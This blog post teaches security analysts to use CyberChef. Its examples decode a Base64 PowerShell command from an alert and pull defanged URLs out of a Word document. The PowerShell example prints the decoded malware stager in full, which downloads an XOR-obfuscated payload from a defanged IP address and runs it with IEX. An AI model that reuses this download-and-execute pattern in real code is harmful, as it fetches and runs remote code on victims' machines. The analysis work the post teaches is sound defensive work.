Tools & Resources

CyberChef – Data Decoding Made Easy

CSNP Team May 31, 2021
CyberChef – Data Decoding Made Easy

Discover CyberChef, the powerful web-based tool that makes data decoding, encryption analysis, and format conversion simple for security analysts.

Author: Kevin Kipp

A SOC Analysts' job can sometimes seem overwhelming. There is a myriad of obfuscation techniques that adversaries can use – hashing, encoding, encryption, and compression just to name a few.

How are the defenders supposed to keep up with an ever-changing threat landscape? If you were presented with a secret message such as:

"10010 01101 01110 10001 00100 00010 10000 00100 10010 00111 01000 00110 00111 01010 10110 00010 01101 01100 00101 01000 00011 00100 01100 10010 01000 00000 01010"

Could you crack the code?

In this blog, we'll go over an important tool in the SOC Analysts toolbox – CyberChef.

What is CyberChef?

CyberChef is a web-application developed by GCHQ that's been called the "Cyber Swiss Army Knife". From the CyberChef Github page:

"CyberChef is a simple, intuitive web app for carrying out all manner of "cyber" operations within a web browser. These operations include simple encoding like XOR or Base64, more complex encryption like AES, DES and Blowfish, creating binary and hexdumps, compression and decompression of data, calculating hashes and checksums, IPv6 and X.509 parsing, changing character encodings, and much more."

This tool can be downloaded from Github and run on your local machine, or it can be run inside the browser at this link: https://gchq.github.io/CyberChef/

What is CyberChef used for?

CyberChef can be used to: Encode, Decode, Format data, Parse data, Encrypt, Decrypt, Compress data, Extract data, perform arithmetic functions against data, defang data, and many other functions.

How do I get started?

Go to: https://gchq.github.io/CyberChef/

From there, you'll see 4 sections:

  • Operations on the left side – These are how the manipulations you want to perform on the data.
  • Recipe in the middle – These are the instructions telling Cyberchef what to do with the data.
  • Input section on the top right side – This is the data you provide that you're manipulating.
  • Output section on the bottom right side – This is the result of the Input + Recipe functions.

In order to use CyberChef for the first time, it's easiest to know how you want to manipulate the data first, but you also need sample data for the input.

The next few sections will guide you through the process.

Grab your chef hat and let's get cooking!

Example 1: Analyzing a Malicious PowerShell Script

You receive an alert from your EDR that a single PC has tried to run a malicious Powershell script. The attempt was blocked, but let's analyze the script using Cyberchef.

Reviewing the alert, you can see the following command from your Powershell logs:

powershell.exe -NoP -sta -NonI -W Hidden -Enc
JABXAEMAPQBOAGUAdwAtAE8AYgBqAEUAYwBUACAAUwB5AFMAVABlAE0ALgBOAEUAVAAuAFcAZQBiAEMAbABpAEUATgB0...

Let's break this down:

  • Powershell.exe tells Windows to open and use the Powershell language to interpret the command.
  • -NoP tells the Powershell process to not use a Profile. Profiles are used in Powershell to set environment variables such as window color, text font and color, and other options.
  • -sta tells Powershell to use "Single Thread Apartment" or only dedicate one memory thread for this process.
  • -NonI tells Powershell to use a non-interactive window, typically to prevent the user from closing the process.
  • -W Hidden tells Powershell to use a hidden window, again this is typically used to hide malicious actions from the user.
  • The next part looks like junk, but this is actually Base64 encoded commands, and the reason we need help from CyberChef.

Copy the entire command starting from "JABX" and ending with "AKQA=" and paste it into the Input section of CyberChef.

In order to decode the command, we'll need to tell CyberChef to decode the Base64 data. Type "base" in the search box on the left, and drag "From Base64" into the Recipe section.

As you can see, the Output on the bottom right is better, but still not human-readable. Using the "Find/Replace" function, we can clean up the data by removing all the extra periods.

If we separate out the commands into new lines, we can see the following:

$WC=New-ObjEcT SySTeMNETWebCliENt;
$u='Mozilla/50 (Windows NT 61; WOW64; Trident/70; rv:110) like Gecko';
$WCHeADeRSADd('User-Agent',$u);
$WcProxY = [SystemNeTWEBReQUEst]::DEFAuLtWebProXy;
$wcPROxYCrEdenTialS = [SysTemNEtCRedeNTIAlCAcHE]::DeFAULTNetWOrKCredENTiAls;
$K='IM-S&fA9Xu{[)|wdWJhC+!N~vq_12Lty';
$i=0;[CHaR[]]$B=([cHaR[]]($wcDOwNLOaDStriNg("hxxp://90103103171:7443/indexasp")))
|%{$_-BXoR$K[$I++%$kLEnGTH]};IEX ($B-jOIn'')

This malicious script will perform the following actions:

  • Create a .NET web client
  • Spoof a user agent string
  • Use the default web proxy
  • Use default network credentials
  • Download a malicious payload
  • Execute the payload

This is an example of threat actors using legitimate tools (Powershell, Base64 encoding) in an illegitimate way. Blue Teamers need to find creative ways to unmask these types of attacks.

CyberChef makes it easy to take an encoded command, and make it human readable.

Example 2: Analyzing a Word Document for Malicious URLs

You receive a password-protected Word document in an email, and you want to analyze it to make sure there are no malicious URLs in it.

The steps to this recipe are as follows:

  1. Unzip the document - .DOCX files are actually compressed ZIP files with XML formatting. By telling CyberChef to unzip the file, we can see the contents on the inside.
  2. Extract URLs from the document.
  3. Add filters to remove legitimate URLs from the document. Since the format of this document is XML, it will include information about the XML schema that is used. We don't need this information, so we can filter it out.
  4. Defang URL - we don't want to accidentally click on any malicious URLs, so we choose the "Defang URL" option with all the options checked.

Upload the document to CyberChef by either dragging it into the Input section, or clicking on the upload icon.

Add "Filter" operations with "invert conditions" checked to filter out any legit URLs. These are written in Regex syntax, so be sure to add "\" as an escape character before a period.

Add the "Defang URL" operation at the bottom to prevent accidentally clicking the malicious URLs.

Voila! We're left with:

hxxps[://]www[.]evil[.]ru
hxxps[://]www[.]not-really-microsoft[.]ga
hxxps[://]www[.]t0tally-leg1t[.]tk

In this example, we were able to decode and defang URLs from a password protected document before clicking them.

Summary

In these exercises, we were able to shine a light on the ways that attackers hide their motivations, and how defenders can use any available tools they have to thwart the bad guys.

CyberChef is a great open-source tool that can be used by anyone for a number of use-cases.

If you're interested in learning more, here are some resources to check out:

About the Author: Kevin Kipp is a Cyber Security Analyst II at Tokio Marine HCC. He currently holds multiple industry certifications, serves on the GIAC Advisory Board, volunteers for CSNP, and is a lifelong learner.


Was this article helpful?

Related Articles

Finding My Way Back: A Letter to the CSNP Community
Security Awareness
CSNP Team September 29, 2024

Finding My Way Back: A Letter to the CSNP Community

CSNP Co-Founder Abdel Fane shares the personal journey that led to stepping back from the organization—and what returning with fresh eyes revealed about its true purpose.

Read more
How to Become a Penetration Tester with Zero Experience In Five Steps
Implementation Guides
CSNP Team March 25, 2024

How to Become a Penetration Tester with Zero Experience In Five Steps

A practical guide for cybersecurity enthusiasts with no experience who want to build a career in penetration testing, covering foundational skills, education, home labs, networking, and hands-on practice.

Read more
Empowering Narratives: A Young Black Woman pivots from TV Producer to Cybersecurity Marketer
Security Awareness
CSNP Team March 11, 2024

Empowering Narratives: A Young Black Woman pivots from TV Producer to Cybersecurity Marketer

Naki Carter shares her journey from Emmy award-winning TV producer to cybersecurity marketer, encouraging young women of color to pursue careers in tech.

Read more

Stay Updated

Subscribe to our newsletter for cybersecurity news and updates

We respect your privacy. Unsubscribe at any time.